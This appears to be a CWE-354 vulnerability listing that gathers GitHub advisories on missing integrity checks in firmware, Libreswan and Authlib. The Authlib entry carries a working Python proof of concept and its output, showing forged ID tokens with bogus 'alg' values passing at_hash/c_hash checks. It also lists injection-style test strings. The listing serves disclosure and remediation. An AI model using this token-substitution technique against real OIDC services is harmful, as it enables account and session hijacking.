CWE-354
AllowedImproper Validation of Integrity Check Value
Abstraction: Base · Status: Draft
The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.
260 vulnerabilities reference this CWE, most recent first.
GHSA-JG8V-3589-5RGJ
Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-05-13 01:48The Comcast firmware on Motorola MX011ANM (firmware version MX011AN_2.9p6s1_PROD_sey) and Xfinity XR11-20 Voice Remote devices allows local users to upload arbitrary firmware images to an XR11 by leveraging root access. In other words, there is no protection mechanism involving digital signatures for the firmware.
{
"affected": [],
"aliases": [
"CVE-2017-9498"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-31T03:29:00Z",
"severity": "MODERATE"
},
"details": "The Comcast firmware on Motorola MX011ANM (firmware version MX011AN_2.9p6s1_PROD_sey) and Xfinity XR11-20 Voice Remote devices allows local users to upload arbitrary firmware images to an XR11 by leveraging root access. In other words, there is no protection mechanism involving digital signatures for the firmware.",
"id": "GHSA-jg8v-3589-5rgj",
"modified": "2022-05-13T01:48:00Z",
"published": "2022-05-13T01:48:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9498"
},
{
"type": "WEB",
"url": "https://github.com/BastilleResearch/CableTap/blob/master/doc/advisories/bastille-42.remote-OTA.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M236-W45W-74CH
Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2024-04-04 00:56The Libreswan Project has found a vulnerability in the processing of IKEv1 informational exchange packets which are encrypted and integrity protected using the established IKE SA encryption and integrity keys, but as a receiver, the integrity check value was not verified. This issue affects versions before 3.29.
{
"affected": [],
"aliases": [
"CVE-2019-10155"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-12T14:29:00Z",
"severity": "LOW"
},
"details": "The Libreswan Project has found a vulnerability in the processing of IKEv1 informational exchange packets which are encrypted and integrity protected using the established IKE SA encryption and integrity keys, but as a receiver, the integrity check value was not verified. This issue affects versions before 3.29.",
"id": "GHSA-m236-w45w-74ch",
"modified": "2024-04-04T00:56:04Z",
"published": "2022-05-24T16:47:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10155"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3391"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10155"
},
{
"type": "WEB",
"url": "https://libreswan.org/security/CVE-2019-10155"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EUEXFCN7FAYBKJBQJLYCEUQUCHDEJRZW"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LFGPGLLKAXSLWFI62A6BZHTZSCHRCBXS"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EUEXFCN7FAYBKJBQJLYCEUQUCHDEJRZW"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LFGPGLLKAXSLWFI62A6BZHTZSCHRCBXS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-M2RW-GWP5-6WQW
Vulnerability from github – Published: 2022-09-21 00:00 – Updated: 2025-05-28 18:32An exploitable firmware modification vulnerability was discovered on the Netgear WPN824EXT WiFi Range Extender. An attacker can conduct a MITM attack to modify the user-uploaded firmware image and bypass the CRC check. A successful attack can either introduce a backdoor to the device or make the device DoS. This affects Firmware Version: 1.1.1_1.1.9.
{
"affected": [],
"aliases": [
"CVE-2022-38955"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-20T18:15:00Z",
"severity": "HIGH"
},
"details": "An exploitable firmware modification vulnerability was discovered on the Netgear WPN824EXT WiFi Range Extender. An attacker can conduct a MITM attack to modify the user-uploaded firmware image and bypass the CRC check. A successful attack can either introduce a backdoor to the device or make the device DoS. This affects Firmware Version: 1.1.1_1.1.9.",
"id": "GHSA-m2rw-gwp5-6wqw",
"modified": "2025-05-28T18:32:59Z",
"published": "2022-09-21T00:00:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38955"
},
{
"type": "WEB",
"url": "https://hackmd.io/%40eupX2KdkT6iNpqJUWk9p4A/SyAnOSd1s"
},
{
"type": "WEB",
"url": "https://hackmd.io/@eupX2KdkT6iNpqJUWk9p4A/SyAnOSd1s"
},
{
"type": "WEB",
"url": "https://www.netgear.com/about/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M344-F55W-2M6J
Vulnerability from github – Published: 2026-03-16 16:15 – Updated: 2026-03-16 21:541. Executive Summary
A critical library-level vulnerability was identified in the Authlib Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (_verify_hash) responsible for validating the at_hash (Access Token Hash) and c_hash (Authorization Code Hash) claims exhibits a fail-open behavior when encountering an unsupported or unknown cryptographic algorithm.
This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized alg header parameter. The library intercepts the unsupported state and silently returns True (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.
2. Technical Details & Root Cause
The vulnerability resides within the _verify_hash(signature, s, alg) function in authlib/oidc/core/claims.py:
def _verify_hash(signature, s, alg):
hash_value = create_half_hash(s, alg)
if not hash_value: # ← VULNERABILITY: create_half_hash returns None for unknown algorithms
return True # ← BYPASS: The verification silently passes
return hmac.compare_digest(hash_value, to_bytes(signature))
When an unsupported algorithm string (e.g., "XX999") is processed by the helper function create_half_hash in authlib/oidc/core/util.py, the internal getattr(hashlib, hash_type, None) call fails, and the function correctly returns None.
However, instead of triggering a Fail-Closed cryptographic state (raising an exception or returning False), the _verify_hash function misinterprets the None return value and explicitly returns True.
Because developers rely on the standard .validate() method provided by Authlib's IDToken class—which internally calls this flawed function—there is no mechanism for the implementing developer to prevent this bypass. It is a strict library-level liability.
3. Attack Scenario
This vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to Token Substitution Attacks.
- An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (
access_token) or Authorization Code (code) with a malicious or mismatched one. - The attacker re-crafts the JWT header of the ID Token, setting the
algparameter to an arbitrary, unsupported value (e.g.,{"alg": "CUSTOM_ALG"}). - The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase.
- Authlib attempts to validate the
at_hashorc_hashclaims. - Because
"CUSTOM_ALG"is unsupported byhashlib,create_half_hashreturnsNone. - Authlib's
_verify_hashreceivesNoneand silently returnsTrue. - Result: The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.
4. Specification & Standards Violations
This explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library MUST fail and reject material when encountering unsupported cryptographic parameters.
OpenID Connect Core 1.0
* § 3.2.2.9 (Access Token Validation): "If the ID Token contains an at_hash Claim, the Client MUST verify that the hash value of the Access Token matches the value of the at_hash Claim." Silencing the validation check natively contradicts this absolute requirement.
* § 3.3.2.11 (Authorization Code Validation): Identically mandates the verification of the c_hash Claim.
IETF JSON Web Token (JWT) Best Current Practices (BCP) * RFC 8725 § 3.1.1: "Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected." Authlib's implementation effectively "trusts" the hash when it cannot verify the algorithm.
IETF JSON Web Signature (JWS)
* RFC 7515 § 5.2 (JWS Validation): Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning True for an UnsupportedAlgorithm state, Authlib violates robust application security logic.
5. Remediation Recommendation
The _verify_hash function must be patched to enforce a Fail-Closed posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation must fail immediately.
Suggested Patch (authlib/oidc/core/claims.py):
def _verify_hash(signature, s, alg):
hash_value = create_half_hash(s, alg)
if hash_value is None:
# FAIL-CLOSED: The algorithm is unsupported, reject the token.
return False
return hmac.compare_digest(hash_value, to_bytes(signature))
6. Proof of Concept (PoC)
The following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (at_hash), Hybrid Flow (c_hash), and the entire attack surface. It utilizes Authlib's own validation logic to prove the Fail-Open behavior.```bash
python3 -m venv venv
source venv/bin/activate
pip install authlib cryptography
python3 -c "import authlib; print(authlib.__version__)"
# → 1.6.8
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@title OIDC at_hash / c_hash Verification Bypass
@affected authlib <= 1.6.8
@file authlib/oidc/core/claims.py :: _verify_hash()
@notice _verify_hash() retorna True cuando create_half_hash() retorna
None (alg no soportado), causando Fail-Open en la verificacion
de binding entre ID Token y Access Token / Authorization Code.
@dev Reproduce el bypass directamente contra el codigo de authlib
sin mocks. Todas las llamadas son al modulo real instalado.
"""
import hmac
import hashlib
import base64
import time
import authlib
from authlib.common.encoding import to_bytes
from authlib.oidc.core.util import create_half_hash
from authlib.oidc.core.claims import IDToken, HybridIDToken
from authlib.oidc.core.claims import _verify_hash as authlib_verify_hash
# ─── helpers ──────────────────────────────────────────────────────────────────
R = "\033[0m"
RED = "\033[91m"
GRN = "\033[92m"
YLW = "\033[93m"
CYN = "\033[96m"
BLD = "\033[1m"
DIM = "\033[2m"
def header(title):
print(f"\n{CYN}{'─' * 64}{R}")
print(f"{BLD}{title}{R}")
print(f"{CYN}{'─' * 64}{R}")
def ok(msg): print(f" {GRN}[OK] {R}{msg}")
def fail(msg): print(f" {RED}[BYPASS] {R}{BLD}{msg}{R}")
def info(msg): print(f" {DIM} {msg}{R}")
def at_hash_correct(token: str, alg: str) -> str:
"""
@notice Computa at_hash segun OIDC Core 1.0 s3.2.2.9.
@param token Access token ASCII
@param alg Algoritmo del header del ID Token
@return str at_hash en Base64url sin padding
"""
fn = {"256": hashlib.sha256, "384": hashlib.sha384, "512": hashlib.sha512}
digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest()
return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b"=").decode()
def _verify_hash_patched(signature: str, s: str, alg: str) -> bool:
"""
@notice Version corregida de _verify_hash() con semantica Fail-Closed.
@dev Fix: `if not hash_value` -> `if hash_value is None`
None es falsy en Python, pero b"" no lo es. El chequeo original
no distingue entre "algoritmo no soportado" y "hash vacio".
"""
hash_value = create_half_hash(s, alg)
if hash_value is None:
return False
return hmac.compare_digest(hash_value, to_bytes(signature))
# ─── test 1: root cause ───────────────────────────────────────────────────────
def test_root_cause():
"""
@notice Demuestra que create_half_hash() retorna None para alg desconocido
y que _verify_hash() interpreta ese None como verificacion exitosa.
"""
header("TEST 1 - Root Cause: create_half_hash() + _verify_hash()")
token = "real_access_token_from_AS"
fake_sig = "AAAAAAAAAAAAAAAAAAAAAA"
alg = "CUSTOM_ALG"
half_hash = create_half_hash(token, alg)
info(f"create_half_hash(token, {alg!r}) -> {half_hash!r} (None = alg no soportado)")
result_vuln = authlib_verify_hash(fake_sig, token, alg)
result_patched = _verify_hash_patched(fake_sig, token, alg)
print()
if result_vuln:
fail(f"authlib _verify_hash() retorno True con firma falsa y alg={alg!r}")
else:
ok(f"authlib _verify_hash() retorno False")
if not result_patched:
ok(f"_verify_hash_patched() retorno False (fail-closed correcto)")
else:
fail(f"_verify_hash_patched() retorno True")
# ─── test 2: IDToken.validate_at_hash() bypass ────────────────────────────────
def test_at_hash_bypass():
"""
@notice Demuestra el bypass end-to-end en IDToken.validate_at_hash().
El atacante modifica el header alg del JWT a un valor no soportado.
validate_at_hash() no levanta excepcion -> token aceptado.
@dev Flujo real de authlib:
validate_at_hash() -> _verify_hash(at_hash, access_token, alg)
-> create_half_hash(access_token, "CUSTOM_ALG") -> None
-> `if not None` -> True -> no InvalidClaimError -> BYPASS
"""
header("TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)")
real_token = "ya29.LEGITIMATE_token_from_real_AS"
evil_token = "ya29.MALICIOUS_token_under_attacker_control"
fake_at_hash = "FAAAAAAAAAAAAAAAAAAAA"
# --- caso A: token legitimo con alg correcto ---
correct_hash = at_hash_correct(real_token, "RS256")
token_legit = IDToken(
{"iss": "https://idp.example.com", "sub": "user", "aud": "client",
"exp": int(time.time()) + 3600, "iat": int(time.time()),
"at_hash": correct_hash},
{"access_token": real_token}
)
token_legit.header = {"alg": "RS256"}
try:
token_legit.validate_at_hash()
ok(f"Caso A (legitimo, RS256): at_hash={correct_hash} -> aceptado")
except Exception as e:
fail(f"Caso A rechazo el token legitimo: {e}")
# --- caso B: token malicioso con alg forjado ---
token_forged = IDToken(
{"iss": "https://idp.example.com", "sub": "user", "aud": "client",
"exp": int(time.time()) + 3600, "iat": int(time.time()),
"at_hash": fake_at_hash},
{"access_token": evil_token}
)
token_forged.header = {"alg": "CUSTOM_ALG"}
try:
token_forged.validate_at_hash()
fail(f"Caso B (atacante, alg=CUSTOM_ALG): at_hash={fake_at_hash} -> BYPASS exitoso")
info(f"access_token del atacante aceptado: {evil_token}")
except Exception as e:
ok(f"Caso B rechazado correctamente: {e}")
# ─── test 3: HybridIDToken.validate_c_hash() bypass ──────────────────────────
def test_c_hash_bypass():
"""
@notice Mismo bypass pero para c_hash en Hybrid Flow.
Permite Authorization Code Substitution Attack.
@dev OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de c_hash.
Authlib la omite cuando el alg es desconocido.
"""
header("TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)")
real_code = "SplxlOBeZQQYbYS6WxSbIA"
evil_code = "ATTACKER_FORGED_AUTH_CODE"
fake_chash = "ZZZZZZZZZZZZZZZZZZZZZZ"
token = HybridIDToken(
{"iss": "https://idp.example.com", "sub": "user", "aud": "client",
"exp": int(time.time()) + 3600, "iat": int(time.time()),
"nonce": "n123", "at_hash": "AAAA", "c_hash": fake_chash},
{"code": evil_code, "access_token": "sometoken"}
)
token.header = {"alg": "XX9999"}
try:
token.validate_c_hash()
fail(f"c_hash={fake_chash!r} aceptado con alg=XX9999 -> Authorization Code Substitution posible")
info(f"code del atacante aceptado: {evil_code}")
except Exception as e:
ok(f"Rechazado correctamente: {e}")
# ─── test 4: superficie de ataque ─────────────────────────────────────────────
def test_attack_surface():
"""
@notice Mapea todos los valores de alg que disparan el bypass.
@dev create_half_hash hace: getattr(hashlib, f"sha{alg[2:]}", None)
Cualquier string que no resuelva a un atributo de hashlib -> None -> bypass.
"""
header("TEST 4 - Superficie de Ataque")
token = "test_token"
fake_sig = "AAAAAAAAAAAAAAAAAAAAAA"
vectors = [
"CUSTOM_ALG", "XX9999", "none", "None", "", "RS", "SHA256",
"HS0", "EdDSA256", "PS999", "RS 256", "../../../etc", "' OR '1'='1",
]
print(f" {'alg':<22} {'half_hash':<10} resultado")
print(f" {'-'*22} {'-'*10} {'-'*20}")
for alg in vectors:
hv = create_half_hash(token, alg)
result = authlib_verify_hash(fake_sig, token, alg)
hv_str = "None" if hv is None else "bytes"
res_str = f"{RED}BYPASS{R}" if result else f"{GRN}OK{R}"
print(f" {alg!r:<22} {hv_str:<10} {res_str}")
# ─── main ─────────────────────────────────────────────────────────────────────
if __name__ == "__main__":
print(f"\n{BLD}authlib {authlib.__version__} - OIDC Hash Verification Bypass PoC{R}")
print(f"authlib/oidc/core/claims.py :: _verify_hash() \n")
test_root_cause()
test_at_hash_bypass()
test_c_hash_bypass()
test_attack_surface()
print(f"\n{DIM}Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash(){R}\n")
Output
uthlib 1.6.8 - OIDC Hash Verification Bypass PoC
authlib/oidc/core/claims.py :: _verify_hash()
────────────────────────────────────────────────────────────────
TEST 1 - Root Cause: create_half_hash() + _verify_hash()
────────────────────────────────────────────────────────────────
create_half_hash(token, 'CUSTOM_ALG') -> None (None = alg no soportado)
[BYPASS] authlib _verify_hash() retorno True con firma falsa y alg='CUSTOM_ALG'
[OK] _verify_hash_patched() retorno False (fail-closed correcto)
────────────────────────────────────────────────────────────────
TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)
────────────────────────────────────────────────────────────────
[OK] Caso A (legitimo, RS256): at_hash=gh_beqqliVkRPAXdOz2Gbw -> aceptado
[BYPASS] Caso B (atacante, alg=CUSTOM_ALG): at_hash=FAAAAAAAAAAAAAAAAAAAA -> BYPASS exitoso
access_token del atacante aceptado: ya29.MALICIOUS_token_under_attacker_control
────────────────────────────────────────────────────────────────
TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)
────────────────────────────────────────────────────────────────
[BYPASS] c_hash='ZZZZZZZZZZZZZZZZZZZZZZ' aceptado con alg=XX9999 -> Authorization Code Substitution posible
code del atacante aceptado: ATTACKER_FORGED_AUTH_CODE
────────────────────────────────────────────────────────────────
TEST 4 - Superficie de Ataque
────────────────────────────────────────────────────────────────
alg half_hash resultado
---------------------- ---------- --------------------
'CUSTOM_ALG' None BYPASS
'XX9999' None BYPASS
'none' None BYPASS
'None' None BYPASS
'' None BYPASS
'RS' None BYPASS
'SHA256' None BYPASS
'HS0' None BYPASS
'EdDSA256' None BYPASS
'PS999' None BYPASS
'RS 256' None BYPASS
'../../../etc' None BYPASS
"' OR '1'='1" None BYPASS
Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.8"
},
"package": {
"ecosystem": "PyPI",
"name": "authlib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28498"
],
"database_specific": {
"cwe_ids": [
"CWE-354",
"CWE-573"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T16:15:06Z",
"nvd_published_at": "2026-03-16T18:16:07Z",
"severity": "HIGH"
},
"details": "## 1. Executive Summary\n\nA critical library-level vulnerability was identified in the **Authlib** Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (`_verify_hash`) responsible for validating the `at_hash` (Access Token Hash) and `c_hash` (Authorization Code Hash) claims exhibits a **fail-open** behavior when encountering an unsupported or unknown cryptographic algorithm. \n\nThis flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized `alg` header parameter. The library intercepts the unsupported state and silently returns `True` (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.\n\n---\n\n## 2. Technical Details \u0026 Root Cause\n\nThe vulnerability resides within the `_verify_hash(signature, s, alg)` function in `authlib/oidc/core/claims.py`:\n\n```python\ndef _verify_hash(signature, s, alg):\n hash_value = create_half_hash(s, alg)\n if not hash_value: # \u2190 VULNERABILITY: create_half_hash returns None for unknown algorithms\n return True # \u2190 BYPASS: The verification silently passes\n return hmac.compare_digest(hash_value, to_bytes(signature))\n```\n\nWhen an unsupported algorithm string (e.g., `\"XX999\"`) is processed by the helper function `create_half_hash` in `authlib/oidc/core/util.py`, the internal `getattr(hashlib, hash_type, None)` call fails, and the function correctly returns `None`. \n\nHowever, instead of triggering a `Fail-Closed` cryptographic state (raising an exception or returning `False`), the `_verify_hash` function misinterprets the `None` return value and explicitly returns `True`. \n\nBecause developers rely on the standard `.validate()` method provided by Authlib\u0027s `IDToken` class\u2014which internally calls this flawed function\u2014there is **no mechanism for the implementing developer to prevent this bypass**. It is a strict library-level liability.\n\n---\n\n## 3. Attack Scenario\n\nThis vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to **Token Substitution Attacks**.\n\n1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (`access_token`) or Authorization Code (`code`) with a malicious or mismatched one.\n2. The attacker re-crafts the JWT header of the ID Token, setting the `alg` parameter to an arbitrary, unsupported value (e.g., `{\"alg\": \"CUSTOM_ALG\"}`).\n3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase.\n4. Authlib attempts to validate the `at_hash` or `c_hash` claims. \n5. Because `\"CUSTOM_ALG\"` is unsupported by `hashlib`, `create_half_hash` returns `None`.\n6. Authlib\u0027s `_verify_hash` receives `None` and silently returns `True`.\n7. **Result:** The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.\n\n---\n\n## 4. Specification \u0026 Standards Violations\n\nThis explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library **MUST** fail and reject material when encountering unsupported cryptographic parameters.\n\n**OpenID Connect Core 1.0**\n* **\u00a7 3.2.2.9 (Access Token Validation):** \"If the ID Token contains an `at_hash` Claim, the Client MUST verify that the hash value of the Access Token matches the value of the `at_hash` Claim.\" Silencing the validation check natively contradicts this absolute requirement.\n* **\u00a7 3.3.2.11 (Authorization Code Validation):** Identically mandates the verification of the `c_hash` Claim.\n\n**IETF JSON Web Token (JWT) Best Current Practices (BCP)**\n* **RFC 8725 \u00a7 3.1.1:** \"Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected.\" Authlib\u0027s implementation effectively \"trusts\" the hash when it cannot verify the algorithm.\n\n**IETF JSON Web Signature (JWS)**\n* **RFC 7515 \u00a7 5.2 (JWS Validation):** Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning `True` for an `UnsupportedAlgorithm` state, Authlib violates robust application security logic.\n\n---\n\n## 5. Remediation Recommendation\n\nThe `_verify_hash` function must be patched to enforce a `Fail-Closed` posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation **must** fail immediately.\n\n**Suggested Patch (`authlib/oidc/core/claims.py`):**\n\n```python\ndef _verify_hash(signature, s, alg):\n hash_value = create_half_hash(s, alg)\n if hash_value is None:\n # FAIL-CLOSED: The algorithm is unsupported, reject the token.\n return False\n return hmac.compare_digest(hash_value, to_bytes(signature))\n```\n\n---\n\n## 6. Proof of Concept (PoC)\n\nThe following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (`at_hash`), Hybrid Flow (`c_hash`), and the entire attack surface. It utilizes Authlib\u0027s own validation logic to prove the Fail-Open behavior.```bash\n\n```bash\npython3 -m venv venv\nsource venv/bin/activate\npip install authlib cryptography\npython3 -c \"import authlib; print(authlib.__version__)\"\n# \u2192 1.6.8\n```\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@title OIDC at_hash / c_hash Verification Bypass\n@affected authlib \u003c= 1.6.8\n@file authlib/oidc/core/claims.py :: _verify_hash()\n@notice _verify_hash() retorna True cuando create_half_hash() retorna\n None (alg no soportado), causando Fail-Open en la verificacion\n de binding entre ID Token y Access Token / Authorization Code.\n@dev Reproduce el bypass directamente contra el codigo de authlib\n sin mocks. Todas las llamadas son al modulo real instalado.\n\"\"\"\n\nimport hmac\nimport hashlib\nimport base64\nimport time\n\nimport authlib\nfrom authlib.common.encoding import to_bytes\nfrom authlib.oidc.core.util import create_half_hash\nfrom authlib.oidc.core.claims import IDToken, HybridIDToken\nfrom authlib.oidc.core.claims import _verify_hash as authlib_verify_hash\n\n# \u2500\u2500\u2500 helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nR = \"\\033[0m\"\nRED = \"\\033[91m\"\nGRN = \"\\033[92m\"\nYLW = \"\\033[93m\"\nCYN = \"\\033[96m\"\nBLD = \"\\033[1m\"\nDIM = \"\\033[2m\"\n\ndef header(title):\n print(f\"\\n{CYN}{\u0027\u2500\u0027 * 64}{R}\")\n print(f\"{BLD}{title}{R}\")\n print(f\"{CYN}{\u0027\u2500\u0027 * 64}{R}\")\n\ndef ok(msg): print(f\" {GRN}[OK] {R}{msg}\")\ndef fail(msg): print(f\" {RED}[BYPASS] {R}{BLD}{msg}{R}\")\ndef info(msg): print(f\" {DIM} {msg}{R}\")\n\ndef at_hash_correct(token: str, alg: str) -\u003e str:\n \"\"\"\n @notice Computa at_hash segun OIDC Core 1.0 s3.2.2.9.\n @param token Access token ASCII\n @param alg Algoritmo del header del ID Token\n @return str at_hash en Base64url sin padding\n \"\"\"\n fn = {\"256\": hashlib.sha256, \"384\": hashlib.sha384, \"512\": hashlib.sha512}\n digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest()\n return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b\"=\").decode()\n\n\ndef _verify_hash_patched(signature: str, s: str, alg: str) -\u003e bool:\n \"\"\"\n @notice Version corregida de _verify_hash() con semantica Fail-Closed.\n @dev Fix: `if not hash_value` -\u003e `if hash_value is None`\n None es falsy en Python, pero b\"\" no lo es. El chequeo original\n no distingue entre \"algoritmo no soportado\" y \"hash vacio\".\n \"\"\"\n hash_value = create_half_hash(s, alg)\n if hash_value is None:\n return False\n return hmac.compare_digest(hash_value, to_bytes(signature))\n\n# \u2500\u2500\u2500 test 1: root cause \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_root_cause():\n \"\"\"\n @notice Demuestra que create_half_hash() retorna None para alg desconocido\n y que _verify_hash() interpreta ese None como verificacion exitosa.\n \"\"\"\n header(\"TEST 1 - Root Cause: create_half_hash() + _verify_hash()\")\n\n token = \"real_access_token_from_AS\"\n fake_sig = \"AAAAAAAAAAAAAAAAAAAAAA\"\n alg = \"CUSTOM_ALG\"\n\n half_hash = create_half_hash(token, alg)\n info(f\"create_half_hash(token, {alg!r}) -\u003e {half_hash!r} (None = alg no soportado)\")\n\n result_vuln = authlib_verify_hash(fake_sig, token, alg)\n result_patched = _verify_hash_patched(fake_sig, token, alg)\n\n print()\n if result_vuln:\n fail(f\"authlib _verify_hash() retorno True con firma falsa y alg={alg!r}\")\n else:\n ok(f\"authlib _verify_hash() retorno False\")\n\n if not result_patched:\n ok(f\"_verify_hash_patched() retorno False (fail-closed correcto)\")\n else:\n fail(f\"_verify_hash_patched() retorno True\")\n\n# \u2500\u2500\u2500 test 2: IDToken.validate_at_hash() bypass \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_at_hash_bypass():\n \"\"\"\n @notice Demuestra el bypass end-to-end en IDToken.validate_at_hash().\n El atacante modifica el header alg del JWT a un valor no soportado.\n validate_at_hash() no levanta excepcion -\u003e token aceptado.\n\n @dev Flujo real de authlib:\n validate_at_hash() -\u003e _verify_hash(at_hash, access_token, alg)\n -\u003e create_half_hash(access_token, \"CUSTOM_ALG\") -\u003e None\n -\u003e `if not None` -\u003e True -\u003e no InvalidClaimError -\u003e BYPASS\n \"\"\"\n header(\"TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)\")\n\n real_token = \"ya29.LEGITIMATE_token_from_real_AS\"\n evil_token = \"ya29.MALICIOUS_token_under_attacker_control\"\n fake_at_hash = \"FAAAAAAAAAAAAAAAAAAAA\"\n\n # --- caso A: token legitimo con alg correcto ---\n correct_hash = at_hash_correct(real_token, \"RS256\")\n token_legit = IDToken(\n {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n \"at_hash\": correct_hash},\n {\"access_token\": real_token}\n )\n token_legit.header = {\"alg\": \"RS256\"}\n\n try:\n token_legit.validate_at_hash()\n ok(f\"Caso A (legitimo, RS256): at_hash={correct_hash} -\u003e aceptado\")\n except Exception as e:\n fail(f\"Caso A rechazo el token legitimo: {e}\")\n\n # --- caso B: token malicioso con alg forjado ---\n token_forged = IDToken(\n {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n \"at_hash\": fake_at_hash},\n {\"access_token\": evil_token}\n )\n token_forged.header = {\"alg\": \"CUSTOM_ALG\"}\n\n try:\n token_forged.validate_at_hash()\n fail(f\"Caso B (atacante, alg=CUSTOM_ALG): at_hash={fake_at_hash} -\u003e BYPASS exitoso\")\n info(f\"access_token del atacante 